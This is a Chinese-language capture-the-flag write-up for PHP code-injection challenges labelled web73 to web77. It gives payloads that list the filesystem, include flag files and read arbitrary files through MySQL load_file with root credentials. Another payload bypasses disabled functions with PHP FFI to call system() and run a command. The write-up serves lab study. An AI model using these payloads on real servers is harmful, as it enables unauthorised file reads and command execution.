web73
用不了上一题的通用poc了 因为禁用了strlen 但是可以改一个函数自定义一个函数只要是能实现strlen效果即可
c=var_export(scandir('/'));exit(0);
根目录下有一个flagc.txt文件
c=include('/flagc.txt');exit(0);
web74
禁用了scandir函数
那就使用web72的glob协议 查看目录下文件
直接包含这个文件
web75
和上一题一样
文件换成了flag36.txt 但是禁用了include函数
直接ai搜索 和include一样的函数有哪些
require也不行 file_get_contents函数也不行
判断当前数据库
c=$dsn = "mysql:host=localhost;dbname=information_schema"; $db = new PDO($dsn, 'root', 'root'); $rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA"); foreach($rs as $row){ echo($row[0])."|"; }exit();
那就用数据库读
c=$conn = mysqli_connect("127.0.0.1", "root", "root", "ctftraining"); $sql = "select load_file('/flag36.txt') as a"; $row = mysqli_query($conn, $sql); while($result=mysqli_fetch_array($row)){ echo $result['a']; } exit();
web76
同理 用glob协议 然后用数据库读
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row) {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e- >getMessage();exit(0);}exit(0);
web77
使用数据库连接的时候报错
但是报
could not find driver
的错误,表明此题无法使用PDO连接数据库查看writeup,此题利用的是PHP 7.4+的FFI特性,即外部函数接口特性
提示 看来这个很牛呀
同理使用glob扫目录 发现flag36x.txt和readflag 但是文件包含都不行了
那就是用提示说的FFI特性 简单理解就是通过FFI,可以实现调用system函数,从而执行命令
c=$ffi = FFI::cdef("int system(const char *command);"); $a='/readflag > 1.txt'; $ffi->system($a);